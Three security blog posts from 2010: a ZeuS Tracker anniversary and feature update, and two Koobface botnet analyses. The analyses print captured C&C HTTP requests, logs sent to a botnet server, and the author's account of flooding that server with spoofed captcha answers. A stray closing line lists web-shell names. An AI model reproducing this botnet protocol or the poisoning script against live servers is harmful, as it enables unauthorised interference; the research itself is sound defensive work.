Happy Birthday ZeuS Tracker!

Published
by
admin
on February 3, 2010
in ZeuS Tracker
. 2 Comments

One year ago, on the 2nd of February 2009, ZeuS Tracker was born (Introducing: abuse.ch ZeuS Tracker BETA). Today ZeuS Tracker looks back to a very successful year and I would like to use this event to write some words about ZeuS Tracker.

During the last year, ZeuS Tracker has tracked more then 2′800 malicious ZeuS C&C servers. The ZeuS Tracker has captured more then 360MB ZeuS config files and 330MB binaries.

First of all let me say that the success story of ZeuS Tracker was made possible by you. You, the readers of my blog as well as the contributors of ZeuS Tracker are the heros. Your effort, your avertising by word-of-mouth, your submission of new (unknown) ZeuS C&C servers to ZeuS Tracker, your support, this is what allowed ZeuS Tracker to gain so much attention and success. During this year, I’ve recevied hundreds of emails with constructive feedback, questions and offers by people who wanted to contribute their work. Thank you!

When ZeuS Tracker was started last year, the ZeuS C&C servers which where listed on it were online for dozens of days (and even for months). Today, a year later, there are a lot of CERTs, registrars and ISPs following one of the ZeuS Tracker RSS feeds to quickly take down new ZeuS C&Cs as soon as they get listed on ZeuS Tracker. Nowadays new C&C servers are very often shut down only a few minutes after their appearing on ZeuS Tracker. In this way ZeuS Tracker (and the resoponsible ISPs, Registrars and CERTs) are taking a considerable effort and make the internet a safer place. Special thanks to all the ISPs, Registrars and CERTs around the world which are helping to shut down malicious ZeuS C&C servers quickly!

The ZeuS Tracker project would not be possible without the help of a handful organisations and people which are sharing information and providing ZeuS Tracker a home. So I decided to make a small “Hall of honor” for all of those.

Hall of honor

Time is come to say thank you to all which are supporting ZeuS Tracker. Special thank goes to…

1&1 Internet AG Team Cymru
…for giving ZeuS Tracker a home … for providing the MHR to ZeuS Tracker
isecLAB Ikarus Security Software
…for providing Anubis to ZeuS Tracker … for providing samples to ZeuS Tracker
…for providing samples to ZeuS Tracker

Additionally I would like to thank Malwaredomainlist (MDL) and MalwareURL for their cooperation in sharing malicious ZeuS C&C servers.

During this year I received several queries asking for permission to integrate ZeuS Tracker information into commercial products. This was a very difficult decision for me to make and I considered the pros and cons of this for a considerable time. Finally I decided to allow the commercial use of ZeuS tracker blocklists to a few companies: My intention with ZeuS tracker was always to protect as many internet users as possible from becoming victims of identity theft. The fact that the use of ZeuS Tracker IP and domain blocklist in wide-used security products will decrease the number of victims of identity theft convinced me that this approach comes closest to my intentions. But the ZeuS Tracker information itself will always be provided free to everybody.

I’ve recived a handfull emails concerning a commercial use of the ZeuS Tracker IP- and domain blocklist in security products. So I had to made a leading decission. I’ve to say, that it was really hard for me to decide, but finally I came to the decission that I allow the commercial use of ZeuS Tracker blocklist to a handfull companies. Let me explain you why: my goal was always to protect as much internet users as possible from getting victim of identity theft (This was also the reason why I released ZeuS Tracker Blocklist). I came to this decisioin due to the fact, that the use of ZeuS Tracker IP and domain blocklist in wide-used security products will decrease the number of victims of identity theft.

Below a list of organisation / sites which are using ZeuS Tracker in their services/products:

* Used in their commercial products

As you might have noticed, ZeuS Tracker is now providing the ZeuS Tracker blocklist to SURBL. So every mailserver which is using SURBL in their spamfilter now automatically benefits from ZeuS Tracker domain block list.

Last but not least there are dozens of companies, universities and governmental organisations which are using the ZeuS Tracker blocklist to protect their users.

New Features

During the last few months several new features were added to ZeuS Tracker. Some of them are already public for a few months (but were never announced officially) and others have been finally launched today:
Anubis reports for binaries
The ZeuS Tracker is now providing you a Anubis report (Analyzing Uknown Binaries) for every binary which is in ZeuS Tracker. For those of you who don’t know anubis:

[...] Anubis is a tool for analyzing the behavior of Windows PE-executables with special focus on the analysis of malware. Execution of Anubis results in the generation of a report file that contains enough information to give a human user a very good impression about the purpose and the actions of the analyzed binary. [...]

See anubis.iseclab.org/?action=about

Each binary on ZeuS Tracker has now a link to the associated Anubis report on anubis.iseclab.org. The benefit of the anubis reports is that it shows you several interesting information about the binary. For this purpose Anubis executes the binary in an emulated enviroment and traces the changes which the binary made to the computer. For example this include the changes made to the file system and windows registry as well as recording the network activities which the binaries makes while and after its execution.

Responsible Nameservers
I’ve added a namserver lookup functionality to the ZeuS Tracker cron script which now looks up the responsible nameservers of the ZeuS C&C domains which are listed in ZeuS Tracker (of course that’s just used for the ZeuS domains and not the IP addresses).

If you click on a domain which is on ZeuS Tracker it displays automatically the responsible nameserver. The text is a hyperlink, so when you click on it you will get a list of ZeuS C&C domains which are using the same nameserver(s). There is also a interessting break down of the top twenty nameservers used by ZeuS C&C servers on the ZeuS Tracker statistic page.

The goal of this new features is to provide the ISPs, CERTs and LEs (law enforcement) a better overview to the current hot spots. Additionally a nameserver-provider can now easily get a list of malicious ZeuS domains which he is responsible for and can take action agains the threat.

Sponsoring Registrar
Additionally to the nameserver lookup function the ZeuS Tracker cron script now also looks up the sponsoring domain registrar of a ZeuS C&C domain. Unfortunately it’s not as easy to get the sponsoring registrar of a domain. Therefore this feature is not available for all domains which are listed in ZeuS Tracker (approximately only 70%-80% of the domains which are on ZeuS Tracker currently are showing up the sponsoring domain registrar).

If you click on a domain which is on ZeuS Tracker it displays automatically the sponsoring registrars. The sponsoring registrar is a hyperlink, so when you click on it you will get a list of ZeuS domains which are also registered thru the same sponsoring registrar. There is also a interessting break down of the top ten sponsoring registrars on the ZeuS Tracker statistic page.

The benefit of this features is the same as for the responsible nameservers: Providing a collection of information for the responsible ISPs and CERTs as well as for the LEs (law enforcement).

NEW! ZeuS Tracker DNS Service (ZTDNS)
Another new feature is the ZeuS Tracker DNS Service (ZTDNS). First of all: What you definitly should NOT do is to use ZeuS Tracker DNS Service at a Email gateway. The service has been designed to be used by security experts and IT professionals to look up a domain on ZeuS Tracker quickly and NOT for mail cleaning.

The service works similar to a normal DNS blackhole list (DNSBL): You can check an IP address or a Domain name against the ZeuS Tracker DNS Service. If the IP address/domain is listed on ZeuS Tracker, you will get a positive response from the DNS daemon. You can request an A or TXT record. There are two DNS zones available:

  • ipbl.zeustracker.abuse.ch (used to check a IP address against the ZT IP blocklist)
  • uribl.zeustracker.abuse.ch (used to check a domain name against the ZT URL blocklist)

Requesting the A record will just return you the information whether a IP/domain is listed on ZeuS Tracker or not while the TXT record shows up more information like SBL status, country code, AS number etc.

Before you’re going to start using ZeuS Tracker DNS Service please be sure that you read the ZTDNS page.

Domain history
I’ve been asked for a domain history. Here it is: With the new domain-history feature it is now possible to take a look at the history of a ZeuS domain listed on ZeuS Tracker. It shows up the latest IPs that have hosted the domain before. This additional information can be quite interessting.

NEW! Binary & Config-file history
Additionally to the domain history feature I’ve added a history-function for the binaries and config files on ZeuS Tracker. When the MD5 of a binary or a config file changes it will be archived and added to the binary- or config-history. So you are now able to see how often a binary or config file on a specified ZeuS C&C rotates and if the file was already seen on other ZeuS C&Cs before.

Changelog

Beside the new features some minor changes were made to ZeuS Tracker:

  • You can now sort the ZT monitor page by lastupdated
  • I’ve revised ZT’s statistic page. There are now some nice graphics which shows you some interesting statistics about the ZeuS crimeware
  • A handful small changes on the ZeuS Tracker startpage
  • You can download all ZeuS configs or binaries packed in a zip file (see FAQ)

TODOs

Well there are still a few things left to do on ZeuS Tracker:

  • Creating a RSS feed for domain registrars
  • Creating a RSS feed for nameservers

Certainly, if you have some good ideas or feature requests don’t hesitate to drop me a line (contact form).

Bookmark, tagg it or email it to a friend:
[Bloglines] [del.icio.us] [Digg] [Facebook] [Google] [Mister Wong] [MySpace] [Slashdot] [Technorati] More »

Breaking Koobface’s Captcha Solving Process

Published
by
admin
on January 24, 2010
in Malware & Virus Analysing
. 0 Comments

It was a cold sunday so I decided to play a little bit with Koobface’s captcha breaking infrastructure.

I asked myself: Is it be possible to poisoning Koobface’s captcha breaking infrastructure by spoofing captcha results? As I documented in my post Koobface – the social network trojan, the captcha breaking process used by trojan Koobface works as follow:

  1. A bot would like to create a spoofed account (on Blogspot, Facebook, Myspace or whatever)
  2. The register page is protected with a captcha – so the bot grabs and send it to the C&C Server (uuu20091124.info)
  3. Another infected computer asks the C&C server for work to do at the same time
  4. The C&C server sends the captcha to the infected client where the user of the computer solves the captcha
  5. The infected computer sends the result of the captcha back to the C&C
  6. The bot that originally sent the captcha now asks the C&C server if there is already a resolution for the captcha
  7. If so, the C&C server returns the result of the captcha back to the bot
  8. The bot can successfully register the spoofed account.

It’s pretty simple, so I decided to write a small script which simulates Koobface’s captcha breaking module (v2captcha.exe) .

After writing some lines of code, I ran my script. The script just asks the C&C server for new captchas to break, generates spoofed captcha results and sends them back to the C&C server:

[17] 89.xxx.xxx.xx:3128 -> badboys -> 21303067 -> Success (145)
[16] 190.xxx.xxx.xxx:80 -> badboys -> 21303101 -> Success (146)
[10] 200.xxx.xxx.xxx:3128 -> badboys -> 21302809 -> Success (147)
[12] 191.xxx.xxx.xxx:8090 -> badboys -> 21303105 -> Success (148)
[18] 58.xxx.xxx.xxx:80 -> badboys -> 21302778 -> Success (149)
[22] 71.xxx.xxx.xxx:3128 -> badboys -> 21302802 -> Success (150)
[5] 64.xxx.xxx.xxx:8080 -> badboys -> 21302801 -> Success (151)
[19] 212.xxx.xxx.xxx:81 -> badboys -> 21303079 -> Success (152)
[1] 84.xxx.xxx.xxx:80 -> badboys -> 2130312 -> Success (153)
[8] 93.xxx.xxx.xxx:8080 -> badboys -> 21303115 -> Success (154)
[4] 77.xxx.xxx.xxx:3128 -> badboys -> 21302775 -> Success (155)

Some words about the output of the script: the value [xx] is the thread ID of the procees, followed by proxy:port, followed by a string (“badboys”) that’s returned as faked solution for the captcha, the TaskID (previously received from the C&C server), the response of the C&C server and finally the number of spoofed captchas so far:

[ThreadID] proxy:port -> spoofed captcha result -> TaskID -> status (counter)

To make sure that the spoofed captchas are really accepted by the Koobface Command&Control server (C&C), I just infected a computer with Koobface’s Blogspot (v2newblogger.exe) module which is beeing used to create faked blogspot accounts. Afterwards I started my script again.

First of all the infected computer tries to register a new blogspot account. As excepted, the trojan grabs the captcha and sends it to the C&C server uuu20091124.info by using HTTP POST and calling the action save (a=save).

POST /captcha/?a=save&b=goo HTTP/1.0
Host: uuu20091124.info
Content-Type: binary/octet-stream
Connection: close
Content-Length: 2762

The C&C server responds with a HTTP 200 OK and returns a TaskID:

HTTP/1.1 200 OK
Date: Sun, 17 Jan 2010 16:12:19 GMT
Server: Apache/1.3.41 (Unix)
Cache-Control: no-cache
Connection: close
Content-Type: text/html

21300807

As you can see, the C&C server told the bot to use the TaskID 21300807 for further requests concerning this job.

In parallel, our script diligently asks for new tasks and “solves” them by sending a faked string back to the server. After a few seconds that looks like this:

[9] 189.xxx.xxx.xxx:3128 -> badboys-> 21300821 -> Success (1330)
[22] 78.xxx.xxx.xxx:3128 -> badboys -> 21300812 -> Success (1331)
[4] 200.xxx.xxx.xxx:81 -> badboys -> 21300807 -> Success (1332)
[3] 41.xxx.xxx.xxx:8080 -> badboys -> 21300776 -> Success (1333)
[14] 94.xxx.xxx.xxx:3128 -> Unsuccessful
[4] 174.xxx.xxx.xxx:80 -> badboys -> 21300802 -> Success (1334)

Did you see it? Our script received the captcha with the TaskID 21300807 and has sent back the word “badboys” as resolution. That’s the captcha from our bot! Now let’s go back to the bot and check what answer it gets from the C&C server for the captcha submitted a few seconds before:

GET /captcha/?a=query&b=goo&id=21300807 HTTP/1.0
Host: uuu20091124.info
Connection: close

The bot asks the server if the captcha is already solved by calling the action “query” (a=query) and using the TaskID 21300807. The C&C server respond:

HTTP/1.1 200 OK
Server: Apache/1.3.41 (Unix)
Cache-Control: no-cache
Connection: close
Content-Type: text/html

3|badboy

Strike! The bot recived badboy as resolution of the captcha – the captcha spoofing works!
Let’s run our script for some more minutes:

2297 seconds elapsed, spoofed 4438 captchas (119 unsuccessful).

Okey, that’s really nice. Within around 45 minutes more than 4′400 captchas could be spoofed!

You may ask yourself why the spoofing is so simple. There are several reasons:

  • Koobface is not doing any authentification of the bot
  • The C&C traffic is not encrypted/obfuscated in any way (plain text)
  • The C&C servers does only send the captcha to one bot for solving instead of sending the same captcha to different bots and comparing the results
  • There is no limit for sending results to the C&C server
  • The server doesn’t even check if a returned task id was indeed assigned – you can just post any TaskID and the C&C server will accept it

Conclusion
Koobface’s captcha breaking infrastrucutre is weak. Any IP address is allowed to send and receive tasks from Koobface’s C&C servers. There is no authentification of the bot. So with a few simple lines of code you are able to disturbe Koobface’s captcha breaking infrastructure massively so that captcha breaking process is no longer useful.

A positiv effect of the captcha result spoofing is that it prevents the bot from successfully creating faked accounts on blogspot, Facebook, Myspace etc. As a result of this and due to the fact that Koobface needs such faked accounts on social network to spread itself, the koobface infection vectore is broken.

As mentioned in my earlier post, it seems that the Koobface gang is offering a Captcha Decoder Servis. By disturbing the captcha breaking process the Koobface gang will lose money with every captcha which could not be successfully solved.

Happy captcha spoofing! :P

Bookmark, tagg it or email it to a friend:
[Bloglines] [del.icio.us] [Digg] [Facebook] [Google] [Mister Wong] [MySpace] [Slashdot] [Technorati] More »

Dangerous friend requests on Facebook

Published
by
admin
on January 10, 2010
in Malware & Virus Analysing
. 4 Comments

While analyzing the Koobface trojan, I just made a interesting find. As mentioned in my post “Koobface – the social network trojan” from last year, Koobface uses social networks to spread itself. So let me ask you: What does a trojan need to spread itself on social networking sites? The answer is simple: A valid account. The cybercriminal has two possiblities to obtain valid accounts:

  • Using some phishing tricks to steal credentials
  • Creating fake accounts

There are two reasons why most cybercriminals are trying to phish the credentials from users of social networking sites instead of creating fake accounts by their own:

  • Most of the time the register forms of the social networking sites are protected with a captcha
  • At the moment, there is no reliable method to break captchas

As described in my post about Koobface last year, the Koobface trojan is able to “break” captchas (to be correct, the trojan isn’t able to break captchas rather then it servs the captchas to the infected bots where the captchas will be solved by the users). By using this technique, he is able to create hundreds of faked accounts on social networks (per minute!).

Creating malicious Facebook accounts
To spread itself, the trojan creates spoofed Facebook accounts on which he will post malicious comments and sends messages with a link to a malicious sites. For those of you who are not familiar with Facebook: Before you can write a message or create a message at the pinboard of somebody, you have to be a friend of this person. So before the Koobface trojan can start to post malicious messages he has to get some friends. Don’t be afraid, but even that is no problem for Koobface: It is able to send friend requests to hundreds of Facebook members.

When you log into Facebook, you’re browser will save a cookie on your computer. In fact Koobface uses the Internet Exporer installed on a infected computer to log into Facebook. So what would happen when you are infected with Koobface and you would try to access *your* personal Facebook account?

Uuuh?!?! What’s that?

That’s not my account ?!?! But who is Anyeta Fecher?
The answer is simple: That’s an account which was created by Koobface. But how does that work? I will show you:

First of all the trojan sends a request to a zombie, calling the module grgen:

POST /.sys/?action=grgen&v=05 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; na; )
Content-type: application/x-www-form-urlencoded
Connection: close
Content-Length: 0

The zombie/proxy will return some information about the account which the infected bot should create:

HTTP/1.1 200 OK
Content-Type: text/html
Connection: close

#BLACKLABEL
SOFT|ADD
LOGIN|kulchvr.hhwgzlbsy/oon@hodma/erq
PASS|ci6h}r95df0
ID|21375
BIRTHDAY-YEAR|1982
BIRTHDAY-MONTH|7
BIRTHDAY-DAY|16
LOGS|1
[...]

Lets’ take a deeper look at this response: The response will instruct the bot to create a new account (SOFT|ADD) using a email adresse (LOGIN) and password (PASS). The email address which is used by the LOGIN parameter as well as the password is scrambled (so you won’t be able to log in with these credentials). The zombie will return some more parameters like birthday, Facebook groups which the malicious account should join etc. The bot will now start with the registrartion of the account. During the registration process, he will get a captcha from Facebook which he will send to the C&C server. As soon as the captcha is resolved, the C&C server will return it to the bot which can now finish the registration process.

On the next step, the trojan will send a log back to the C&C server with some information about the registration of the Facebook account:

POST /log.php?id=21963&soft=ADD&build=0017 HTTP/1.1
accept-encoding: text/html, text/plain
COnnecTIon: cLOse
Host: 61.235.117.83
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; na; )
Content-type: application/x-www-form-urlencoded
Content-Length: 3759

20100109 16:38:53 ThreadID:1504 ProcID: 1516 reg build 0018
20100109 16:38:53 ThreadID:1504 ProcID: 1516 FB reg start
20100109 16:38:53 ThreadID:1504 ProcID: 1516 IE VERSION=7.0.5730.10
20100109 16:38:53 ThreadID:1504 ProcID: 1516 C:\Documents and settings\USER\Cookies
20100109 16:38:53 ThreadID:1504 ProcID: 1516 get work domain
20100109 16:38:53 ThreadID:1504 ProcID: 1516 create browser thread
20100109 16:38:53 ThreadID:1504 ProcID: 1516 Create google browser
20100109 16:38:53 ThreadID:1504 ProcID: 1516 Create main browser
20100109 16:38:53 ThreadID:1504 ProcID: 1516 getactivedomain
20100109 16:38:53 ThreadID:1504 ProcID: 1516 check inet
20100109 16:38:53 ThreadID:1504 ProcID: 1516 inet ok
20100109 16:38:53 ThreadID:1504 ProcID: 1516 trying
20100109 16:38:53 ThreadID:1504 ProcID: 1516 xxxxxxx.xx
20100109 16:38:54 ThreadID:1504 ProcID: 1516 valid domain
20100109 16:38:54 ThreadID:1504 ProcID: 1516 xxxxxxx.xx
20100109 16:38:54 ThreadID:1504 ProcID: 1516 work domain
20100109 16:38:54 ThreadID:1504 ProcID: 1516 xxxxxxx.xx
20100109 16:38:54 ThreadID:1504 ProcID: 1516 wait inet begin
20100109 16:38:54 ThreadID:1504 ProcID: 1516 Request params
20100109 16:38:54 ThreadID:1504 ProcID: 1516 #BLACKLABEL
20100109 16:38:54 ThreadID:1504 ProcID: 1516 SOFT|ADD
20100109 16:38:54 ThreadID:1504 ProcID: 1516 LOGIN|kulchvr.hhwgzlbsy/oon@hodma/erq
20100109 16:38:54 ThreadID:1504 ProcID: 1516 PASS|ci6h}r95df0
20100109 16:38:54 ThreadID:1504 ProcID: 1516 ID|21375
20100109 16:38:54 ThreadID:1504 ProcID: 1516 BIRTHDAY-YEAR|1982
20100109 16:38:54 ThreadID:1504 ProcID: 1516 BIRTHDAY-MONTH|7
20100109 16:38:54 ThreadID:1504 ProcID: 1516 BIRTHDAY-DAY|16
20100109 16:38:54 ThreadID:1504 ProcID: 1516 LOGS|1
20100109 16:38:54 ThreadID:1504 ProcID: 1516 switch to confirm mode
20100109 16:38:54 ThreadID:1504 ProcID: 1516 confirmer module start
20100109 16:38:54 ThreadID:1504 ProcID: 1516 checking login
20100109 16:38:54 ThreadID:1504 ProcID: 1516 C:\Documents and settings\USER\Cookies
20100109 16:39:08 ThreadID:1504 ProcID: 1516 fb logoff begin
20100109 16:39:13 ThreadID:1504 ProcID: 1516 logout link not found
20100109 16:39:13 ThreadID:1504 ProcID: 1516 trying to login
20100109 16:39:17 ThreadID:1504 ProcID: 1516 fill login
20100109 16:39:17 ThreadID:1504 ProcID: 1516 check persist
20100109 16:39:20 ThreadID:1504 ProcID: 1516 fill pass
20100109 16:39:22 ThreadID:1504 ProcID: 1516 try submit
20100109 16:39:22 ThreadID:1504 ProcID: 1516 click submit button
20100109 16:39:30 ThreadID:1504 ProcID: 1516 seem to be logged in
20100109 16:39:35 ThreadID:1504 ProcID: 1516 confirm acc start
20100109 16:39:40 ThreadID:1504 ProcID: 1516 ERROR: skip step link not found
20100109 16:39:40 ThreadID:1504 ProcID: 1516 login ok
20100109 16:39:45 ThreadID:1504 ProcID: 1516 groups confirm begin
20100109 16:39:53 ThreadID:1504 ProcID: 1516 groups confirm end
20100109 16:39:53 ThreadID:1504 ProcID: 1516 friend request confirm begin
20100109 16:39:58 ThreadID:1504 ProcID: 1516 friend request confirm end
20100109 16:39:58 ThreadID:1504 ProcID: 1516 scan friend begin
20100109 16:40:04 ThreadID:1504 ProcID: 1516 no friends found
20100109 16:40:04 ThreadID:1504 ProcID: 1516 scan friend end
20100109 16:40:04 ThreadID:1504 ProcID: 1516 Stats: added 0
20100109 16:40:04 ThreadID:1504 ProcID: 1516 PLACES DUMP
20100109 16:40:04 ThreadID:1504 ProcID: 1516
20100109 16:40:04 ThreadID:1504 ProcID: 1516 finished

As you can see, the log is quite detailed (yeah, “click submit button” and “scan friend end” sounds funny…).
Now the trojan will start to “get some” friends. I suppose that the trojan will parse the member list of the group which he has received from the C&C server when he has requested the grgen module:

Let’s wait some minutes….. and then we will take another look at the malicious profile:

As you can see, the Koobface bot just sent out more than 1′000 friend requests on Facebook within a few minutes! But what suprised me much more is the fact, that all those people accepted the friend request. So I just ask myself why so much people accept friend requests from other people which they don’t even know?

Conclusion
Within a few minutes, more than 1′000 new friends were harvested by Koobface – all of them are potential victims now; as soon as the bot starts to send out posts/messages, it becomes a real threat to its friends.

So what we have learned:

  • Please be careful with friend request from persons which you don’t know (this also applies to all other social networks like myspace, netlog, hi5 etc)
  • If you find a malicious profile, report it to the administrator of the social network (eg. by using the report button)
  • And last but not least: If you go to Facebook and you are logged in with a unknown profile, you are infected with Koobface….

Happy (and safe) social networking!

Bookmark, tagg it or email it to a friend:
[Bloglines] [del.icio.us] [Digg] [Facebook] [Google] [Mister Wong] [MySpace] [Slashdot] [Technorati] More »
economics-recluse
Scene C99Shell honey r57shell phpshell-by-maker PHPShell phpMyAdmin phpmyadmin